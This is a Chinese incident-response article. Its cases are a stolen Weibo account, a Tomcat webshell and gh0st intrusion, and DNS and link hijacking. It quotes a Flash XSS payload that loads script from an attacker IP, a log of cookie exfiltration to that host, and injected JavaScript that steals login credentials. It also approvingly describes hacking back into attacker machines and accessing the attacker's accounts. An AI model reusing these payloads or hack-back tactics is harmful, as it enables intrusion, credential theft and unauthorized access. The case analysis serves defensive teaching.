峰會上講過的議題，整理成文章，以供大家批評指正。
對于企業應急響應，我想只要從事安全工作的同學都有接觸，我也一樣，在甲方乙方工作的這幾年，處理過不少應急響應的事件，但是每個人都會有自己做事的方法，在這里我主要分享一下我對應急響應的理解以及對碰到的一些案例。
應急響應，估計最近幾年聽到這個詞更多是因為各大甲方公司開始建設和運營自己的應急響應平臺，也就是 xSRC。看起來對報告到這些地方的漏洞進行處理就已經成為企業應急響應的主要工作，但是以我之前在甲方親自參與建設應急響應平臺和去其他企業應急響應平臺提交漏洞的經驗來看，能真正把平臺上的漏洞當時應急響應事件去處理的寥寥無幾，更多的只是：接收->處理這種簡單重復的流水線工作。因為他們會覺得報告到這些地方的漏洞它的風險是可控的。
我理解的應急響應是對突發的未知的安全事件進行應急響應處理。這種情況一般都是“被黑”了。“被黑”包括很多種：服務器被入侵，業務出現蠕蟲事件，用戶以及公司員工被釣魚攻擊，業務被 DDoS 攻擊，核心業務出現DNS、鏈路劫持攻擊等等等等。
我在峰會上說是被逼的，雖然只是開個玩笑，但是也能夠反映出做應急響應是一件苦差事，有的時候要做到 7*24 小時響應，我覺得是沒人喜歡這么一件苦差事的，但是作為安全人員這是我們的職責。
那說到底我們為什么做應急響應呢，我覺得有以下幾個因素：
對于甲方的企業來說業務永遠是第一位的，沒有業務何談安全，那么我們做應急響應首先就是要保障業務能夠正常運行，其次是還原攻擊場景，攻擊者是通過什么途徑進行的攻擊，業務中存在什么樣的漏洞，他的意圖是什么？竊取數據？炫耀技術？當我們了解到前面的之后就需要提出解決方案，修復漏洞？還是加強訪問控制？增添監控手段？等等，我們把當前的問題解決掉之后，我們還需要查漏補缺，來解決業務中同樣的漏洞？最后就是需不需要司法的介入。
具體怎么做應急響應，我之前根據自己做應急響應的經驗總結幾點：
確定攻擊時間能夠幫助我們縮小應急響應的范圍，有助于我們提高效率，查找攻擊線索，能夠讓我們知道攻擊者都做了什么事情，梳理攻擊流程則是還原整個攻擊場景，實施解決方案就是修復安全漏洞，切斷攻擊途徑，最后就是定位攻擊人，則是取證。
ps：定位攻擊者，我覺得羅卡定律說的挺好的：凡有接觸，必留痕跡。
一方面我們可以把被動的局面轉變為主動的局面，在這種主動的局面下我們能夠了解到攻擊者都對我們做了什么事情，做到什么程度，他下一步的目標會是什么？最關鍵的我們能夠知道攻擊者是誰。
那么具體怎么做呢？就要用攻擊者的方法反擊攻擊者。說起來簡單，做起來可能就會發現很難，但是我們可以借助我們自身的優勢，通過業務數據交叉對比來對攻擊者了解更多，甚至可以在攻擊者的后門里面加上攻擊代碼等。
這是第一個案例，是官方微博帳號被盜的案例。首先看下面兩張圖片：
某天我們的一個官方帳號突發連續發兩條不正常的微博內容，看到第一條的時候還以為是工作人員小手一抖，test 到手，以為是工作人員的誤操作，但是看到第二條微博的時候就已經能夠判斷帳號出了問題，具體是什么問題只能通過后面的分析才知道。
但是肯定的是這不是工作人員進行的操作，一方面在這種重要帳號的操作上有一些制度，其次是發布的內容也比較明顯，根據發布的時間通過后臺系統分析，該帳號有通過 cookie 在非公司 IP 進行過登錄，但是我們的 cookie 是通過 httponly 進行保護的，how？
接下來鎖定那個時間段操作過官方微博帳號同事的工作電腦，在其使用的火狐瀏覽器中發現有下面連續的幾條訪問記錄：
==================================================
URL : http://t.cn/zW*bUQ
Last Visit Date : 2012-7-16 19:22:27
==================================================
==================================================
URL : http://50.116.13.242/index.php
Last Visit Date : 2012-7-16 19:22:28
Referrer : http://t.cn/zW*bUQ
==================================================
==================================================
URL : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
Last Visit Date : 2012-7-16 19:22:28
Referrer : http://50.116.13.242/index.php
Title : player.swf (application/x-shockwave-flash 對象)
==================================================
==================================================
URL : http://50.116.13.242/e.php?opener=0&cookie=ULV%3D1342421444188%3A342%3A12%3A1%3A306588567000.3021.1342421444076%3A1342141514702%3B%20__utma%3D182865017.844076418.1336462885.1341536058.1341543017.15%3B%20__utmz%3D182865017.1341473198.13.8.utmcsr%3Dweibo.com%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/breakingnews%3B%20vjuids%3Ddae3c1e13.1369ca9b037.0.1a9eb5f46e6ac8%3B%20vjlast%3D1334068228.1341096989.11%3B%20U[email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected]%25252BkEMwhvhY4p3xR0Ki5ja94%25253D%2
Last Visit Date : 2012-7-16 19:22:31
Referrer : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
==================================================
對上面的訪問記錄我想我不需要做太多的解釋。在官方微博帳號的私信里面有 http://t.cn/zW*bUQ 的私信記錄。
到這里就已經能夠還原整個攻擊場景了
事后我們修復了這次攻擊中的漏洞，同時修復了業務中同類的安全漏洞，同時加強了員工安全意識，并且增加了相應的帳號安全策略。
最后我們通過后臺的 IP 和郵箱等數據定位到了攻擊者，在整個攻擊中也并沒有惡意，他也把相關的漏洞和攻擊過程提交到烏云漏洞報告平臺，大家可以去主站找找這個漏洞，我這里就不貼相關鏈接了。
首先看下圖
一天 QA 發來郵件詢問一個比較異常的事情，某測試業務出現多條狀態碼為 500 的日志，QA 懷疑是有黑客攻擊，我們開始介入進行分析。
500 錯誤代表文件真實存在過并且被人訪問執行過，但是現在文件已經被刪除了，通過文件名可以判斷并非是業務需要的文件，被黑的可能性比較大，然后找來 TOMCAT 和前端 Nginx 日志查看的確被上傳了 webshell。
根據攻擊者 IP 和時間等線索通過分析 nginx 和 tomcat 的日志可以確定攻擊者是通過 tomcat 的管理后臺上傳的 webshell，并且通過 webshell 做了許多操作
但是tomcat 帳號密碼并非弱密碼，how？我們接下來對全網的 tomcat 進行了排查，發現在其中一臺內網服務器存在 tomcat 弱口令，并且帳號配置文件中含有攻擊者使用的帳號和密碼，只是這臺服務器較早之前下線了公網 IP，只保留內網 IP，并且通過分析這臺服務器的日志，能夠判斷攻擊者之前就已經通過弱口令拿到了服務器權限，并且收集了服務器上的用戶名和密碼等信息。
我們想看看攻擊者到底想干什么，對之前收集的攻擊者 IP 進行反滲透，用“黑客”的方法拿到香港，廊坊多臺攻擊者肉雞權限，肉雞上發現了大量黑客工具和掃描日志，在其中一臺肉雞上發現我們內網仍有服務器被控制。
下面兩張圖片可以看到攻擊者通過 lcx 中轉了內網的反彈 shell
那么到目前為止我們做了哪些事情呢？
做了好多事情？可是事實上呢？事情并沒有我們想的那么簡單。
之前的安全事件剛過不久，IT 人員反饋域控服務器異常，自動重啟，非常異常。登錄域控進行排查原因，發現域控被植入了 gh0st 后門。
域控被控制，那域控下面的服務器的安全性就毫無保障，繼續對辦公網所有的 windows 服務器排查，發現多臺 Windows 服務器被植入后門，攻擊的方法是通過域控管理員帳號密碼利用 at 方式添加計劃任務。
能夠知道攻擊者是如何入侵的域控服務器比較關鍵，對域控服務器的日志進行分析發現下面可疑的日志：
2011-11-10,14:03:47,Security,審核成功,登錄/注銷 ,540,*\*,PDC,”成功的網絡登錄:
用戶名: *.ad
域: *
登錄 ID: (0x0,0x1114E11)
登錄類型: 3
登錄過程: NtLmSsp
身份驗證數據包: NTLM
工作站名: CC-TEST-V2
登錄 GUID: -
調用方用戶名: -
調用方域: -
調用方登錄 ID: -
調用方進程 ID: -
傳遞服務: -
源網絡地址: 192.168.100.81
源端口: 0
2011-11-10,3:13:38,Security,審核失敗,帳戶登錄 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試 登錄的用戶: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登錄帳戶: QM-*$
源工作站: CC-TEST-V2
錯誤代碼: 0xC000006A
"
2011-11-10,3:13:38,Security,審核失敗,帳戶登錄 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試 登錄的用戶: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登錄帳戶: QM-*$
源工作站: CC-TEST-V2
錯誤代碼: 0xC000006A
結合之前的信息能夠鎖定 192.168.100.81 是攻擊源，遂對這臺服務器進行確認，結果有點令人吃驚：
這是一臺虛擬機，運行在一臺普通的 PC 機上，這臺 PC 機就放在業務部門同事的腳底下，這臺虛擬機本身啟用了 3389，存在弱口令，我們之前在對內網安全檢查時，這臺虛擬機處于關機狀態。由于這臺虛擬機上面跑的有測試業務，域控管理員曾經登錄過。
綜合我們之前得到的信息可以確定這臺虛擬機是攻擊者入侵我們辦公網的第一臺服務器，通過把這個虛擬機作為跳板攻擊辦公網其他服務器，至于這臺虛擬機是如何被入侵的，我們后面也確定是因為上次的攻擊事件，攻擊者通過 IDC 進入到的辦公網。
我們又做了什么？
snort 加上 gh0st 的特征后不久我們就發現我們辦公網還有服務器被控制
對這臺服務器進行清理后，我們仍然沒有放棄對攻擊者的反滲透，這次我們發現攻擊者還有美國的 IP，對其滲透，最終通過 c 斷進行 cain 嗅探到 3389 的密碼。
登錄到這臺美國 IP 的服務器后，發現上面運行著 gh0st 的控制端，我們內網仍然有一臺服務器處于上線狀態。
其實到這里這次事件就能告一段落了，關于攻擊者我們在這臺美國的服務器上發現了攻擊者的多個 QQ 和密碼，登錄郵箱后找到了攻擊者的簡歷等私人信息，還有就是我們之前也獲取到攻擊者在國內某安全論壇帳號。其實到這里我們能夠確定攻擊者是誰了。
對于劫持我想大家都不陌生，我們在生活中比較常見到的就是運營商在頁面中插入廣告等代碼，這種就是一種劫持攻擊。
回到案例本身，我們的一個業務先后出現多次多種手段的劫持攻擊，一次是 dns 劫持，把業務的域名劫持到 61.* 這個 ip 上，另外一次是鏈路劫持，替換服務器返回給用戶的 http 響應內容，這兩次的目的都一樣就是在登錄口添加 js 代碼，用于竊取用戶的用戶名和明文密碼。我們另外一個業務也遭受鏈路劫持，直接替換客戶投放的廣告代碼，給業務造成很大的經濟損失。
下面兩個圖是我們業務監控系統和基調的截圖，上面的圖可以很明顯看到在 9:30 用戶登錄成功數明顯下降，持續不到一個小時，下圖是全國部分地區基調的數據，可以看到域名被明顯劫持到 61 這個 ip，這是一次典型的 DNS 攻擊。
頁面中被插入的攻擊核心代碼
#!js
//獲取用戶名和密碼
function ffCheck() {
try {
try {
var u = null != f ? f.idInput.value : document.getElementById("idInput").value;
} catch (e) {
var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");
}
var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;
if (u.indexOf("@") == -1) u += "@xxx.com";
try {
if (u.indexOf("@") == -1) u = u + getdomain();
} catch (e) {}
sendurl("/abc", u, p, "coremail");
} catch (e) {}
return fOnSubmit();
}
通過 ajax 發送出去
function sendurl(uri, u, p, i) {
xmlHttp = GetXmlHttpObject();
if (xmlHttp == null) {
return;
}
param = "user=" + u + "&pass=" + p + "&icp=" + i;
xmlHttp.onreadystatechange = stateChanged;
try {
xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);
} catch (e) {}
xmlHttp.setRequestHeader("If-Modified-Since", "0");
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send(param);
}
接下來看下面兩張圖片
這是一次典型的鏈路劫持攻擊，通過 ttl 就能夠判斷，攻擊的結果和前面提到的 dns 劫持攻擊類似，插入惡意 js 代碼來獲取用戶的用戶名和密碼。
對于劫持攻擊的處理過程，首先是判斷是什么攻擊，對于鏈路劫持目前的鏈路劫持好像大部分都是旁路的攻擊方式，就可以通過 ttl 來定位，默認的 ttl 值很好判斷，如果可以修改的 ttl 值，可以通過遞增或者遞減 ttl 的方式來判斷，dns 劫持就是判斷攻擊方式是什么，哪些 dns 受影響，劫持的 ip 是什么運營商，劫持后做了什么事情。
其次是解決攻擊，一般根據劫持的情況去聯系運營商，聯系有關部門等，但是然并卵，有的功能投訴很有效，比如劫持廣告代碼，有的攻擊則沒有任何作用，比如注入 js 代碼獲取用戶名和密碼。
其實我們能做的畢竟有限，完善監控，當劫持發生的時候能夠第一時間獲知，甚至提醒用戶當前環境有劫持的風險，對部分業務使用 https，但是我覺得都不能根治這些問題。怎么才能解決劫持問題，我沒有好的解決方案，在這里我把這類案例分享出來是希望能夠和各位進一步探討。
總結這里我就不打算寫太多，我覺得有幾個大的方向作為指導：